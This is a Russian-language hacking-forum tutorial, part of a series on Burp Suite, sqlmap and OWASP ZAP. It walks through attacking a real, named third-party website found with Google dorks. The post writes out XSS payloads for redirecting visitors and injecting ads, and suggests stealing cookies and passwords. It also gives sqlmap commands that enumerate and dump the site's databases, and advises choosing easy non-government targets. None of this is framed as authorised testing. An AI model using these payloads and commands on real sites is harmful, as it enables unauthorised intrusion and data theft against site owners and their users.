Burp suite&sqlmap. Часть 4

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Статья будет не совсем полной, потому что я случайно закрыл вкладку, а открыв её увидел лишь 1 этап и введение. Было у меня написано на 15к символов... Сгорело знатно, но что имеем, то имеем.
Введение
После всех теоретических статей мне бы хотелось сделать большую практическую, в который будут показаны реальные таргеты и примеры их уязвимостей.
Цель данной статьи - дать практическое введение в использование Burp Suite, sqlmap и OWASP ZAP. В статье будут рассмотрены основные функции этих инструментов и приведены примеры их использования.
По моей задумке, после прочтения этой статьи вы сможете с легкостью понимать структуру и порядок выявления уязвимостей несложных web-приложений.


Этап 1. Поиск таргета
Первый этап любого тестирования на проникновение - это поиск реального таргета для практики. Это может быть непростой задачей, особенно если вы новичок. Однако есть несколько способов найти подходящий таргет.
Один из способов найти таргет - это использовать гугл дорки. Их мы и будем использовать, я считаю что они отлично подойдут для наших задач. Список гугл дорков вы можете с легкостью найти сами.
Немного полазив в гугле я нашёл сайт - vinno.fr Его я сегодня и приведу в пример(советую вам делать все по статье, а после попробовать своими методами)
Немного советов по поиску таргета:
1. Если вы новичок, то не пытайтесь найти сложный таргет и сразу пытаться найти в нём уязвимость. Это не так просто, вы не сможете наугад взломать сайт.
2. Старайтесь обходить гос.учреждения, шансы что в них есть легкие уязвимости крайне мал.
3. Изучайте несколько сайтов, а не один, а из них уже выбирайте подходящий для ваших потребностей.


Этап 2. Практика
Поиск любых уязвимостей подрузомевает под собой поверхностное изучение таргета. Для начала нужно понять способы поиска уязвимостей, где их можно внедрить и т.п
Возьмём наш сайт и посмотрим на него:

Спойлер: скрин
1706032843163.png

Что мы здесь видим? Особо ничего, но есть строка поиска. Думаю что в ней нет ничего интересного, поэтому давайте проверим сайт на xss уязвимости, вписав скрипт <script>alert("XSS");</script> в url.
Спойлер: скрин
1706032938269.png

Хм, мы получили ошибку, но это не значит что уязвимости здесь нет на 100%, мы можем попробовать вставить скрипт в урл без данных после id:
Спойлер: скрин
1706033028299.png

Отлично! уязвимости есть, но что мы можем с ней сделать? много всего, например красть куки, сделать переход на другой сайт, красть пароли и юзернеймы. Да много всего - здесь главное фантазия. Давайте сделаем например перенаправление на другой сайт, для этого можно использовать скрипт: <script>window.location.href = "ваша ссылка";</script> или же внедрять вашу рекламу: <script>document.write("<img src=\"ссылка\">");</script>

Перейдем к sql атакам:
Типы sql-атак:

  1. Error-Based: когда сайт обнаруживает SQL-инъекцию, он может генерировать сообщение об ошибке. Это сообщение об может содержать информацию о базе данных. ' OR 1=1
  2. Union-Based SQL Injections: UNION используется для объединения результатов двух или более запросов в один набор.' UNION SELECT * FROM information_schema.tables;
  3. Blind Boolean-based SQL Injections: этот тип атаки используется, когда веб-приложение не генерирует сообщений об ошибках при обнаружении SQL-инъекции. ' AND username='acc2ss'; Для проверки на существование пользователя
  4. Time-Based Blind: В этом виде атаки мы отправляем запросы к базе данных, которые преднамеренно вызывают задержку в ответе. Затем анализируем время ответа, чтобы извлечь информацию о базе данных.
Давайте попробуем найти уязвимость через sqlmap. Введя команду python3 sqlmap.py -u http://www.vinno.fr/product.php?id=1%27 -dbs мы увидим список доступных нам баз данных:
Спойлер: скрин
1706033366875.png

Среди них нам нужна вторая база. Возможно что в ней есть пароли или другая важная для нас информация. Но перед тем как достать данные из базы, давайте проверим какие у нас есть привилегии, для этого введем команду --privileges
Спойлер: скрин
1706033520254.png

Не густо... Но работать можно. Теперь давайте выгрузим список таблиц: -D vinnofrbfhbanane -tables:
Спойлер: скрин
1706033710972.png

Жалко что нет паролей. но информация всё же есть. давайте выгрузим её командой -D vinnofrbfhbanane -T products --dump
После выгрузки всей таблицы мы можем найти её в папке sqlmap/output.
Что мы можем сделать еще? Подгрузить в базу наши данные, запустить Шелл и многое другое, что я буду разбирать в следующей статье.

Немного практики с Burp Suite
да, с помощью бюрпа тоже можно искать sql уязвимости, и на самом деле довольно просто.
Вообще, есть 3 варианта - автоматически, в ручную и полу-автоматически. Я покажу 2 и 3 варианты.
При полу-автоматическом поиске мы выбираем параметр для изменения и через intruder запускаем атаку.
Например мы можем выбрать диапазон изменения и в пэйлоадах выбрать готовый список sql уязвимостей. После этого начать атаку и посмотреть на результат.
В результатах атаки советую отсортировать всё по длине, так легче искать индивидуальные ошибки.

При ручном поиске уязвимостей мы изменяем запрос через repeater. Чем же это лучше?
Ручной поиск позволяет нам взаимодействовать с сайтом более гибко и контролировать каждый шаг процесса. Мы можем анализировать и изменять запросы и ответы, настраивать параметры и фильтры, а также применять различные техники для обнаружения уязвимостей.
Автоматический поиск уязвимостей может пропустить некоторые специфические уязвимости, которые могут быть обнаружены только с помощью ручного анализа.
Примеров здесь особо не привести, т.к действовать нужно по факту взлома.

Примеры полезных SQL запросов:
1. Выбор всех данных из таблицы:
SELECT * FROM table_name;

2. Выбор данных с условием:
SELECT * FROM table_name WHERE column_name = 'value';

3. Вставка новой записи в таблицу:
INSERT INTO table_name (column1, column2) VALUES ('value1', 'value2');

4. Обновление данных в таблице:
UPDATE table_name SET column_name = 'значение' WHERE ;

5. Удаление данных из таблицы:
DELETE FROM table_name WHERE ;

6. Создание новой таблицы:
CREATE TABLE table_name (column1 дата, column2 дата);

7. Удаление таблицы:
DROP TABLE table_name;

8. Создание нового пользователя с правами доступа:
CREATE USER username IDENTIFIED BY 'password';

9. Удаление пользователя:
DROP USER username;

10. Выполнение произвольного SQL-запроса:
EXECUTE IMEDIATE 'SQL query';

Хорошо, мы узнали как искать SQL и xss уязвимости, их эксплуатацию. Но что дальше? Дальше нужно изучать, изучать и ещё раз изучать. Без этого никуда.

В Кратце про OWASP ZAP.
ZAP предлагает множество функций, таких как перехват и изменение запросов и ответов, сканирование уязвимостей, создание отчетов о безопасности, автоматизация тестирования и многое другое. Он имеет графический интерфейс (GUI). Чем он может быть лучше и полезнее burp? Во первых это то, что зап является полностью бесплатным. Так же у zap есть полностью автоматический сканер.
По итогу выбор очевиден - лучше всего комбинировать эти 2 инструмента, и будет у вас жизнь в шоколаде!)

Заключение
SQLMap и Burp Suite - мощные инструменты, которые могут помочь в поиске уязвимостей. SQLMap - инструмент автоматизации, а Burp Suite - это более универсальный продукт, который может использоваться для ручного поиска уязвимостей.
несколько советов :

  • Будьте терпеливы. Поиск уязвимостей может быть долгим процессом. Не расстраивайтесь если не обнаружите ни одной уязвимости сразу.
  • Используйте другие инструменты. SQLMap и Burp Suite - это мощные инструменты, но они не единственные. Существует множество других инструментов, которые могут помочь в этом процессе.

Часть статьи я писал с телефона, поэтому заранее извиняюсь что мало скринов!
 
Сверху Снизу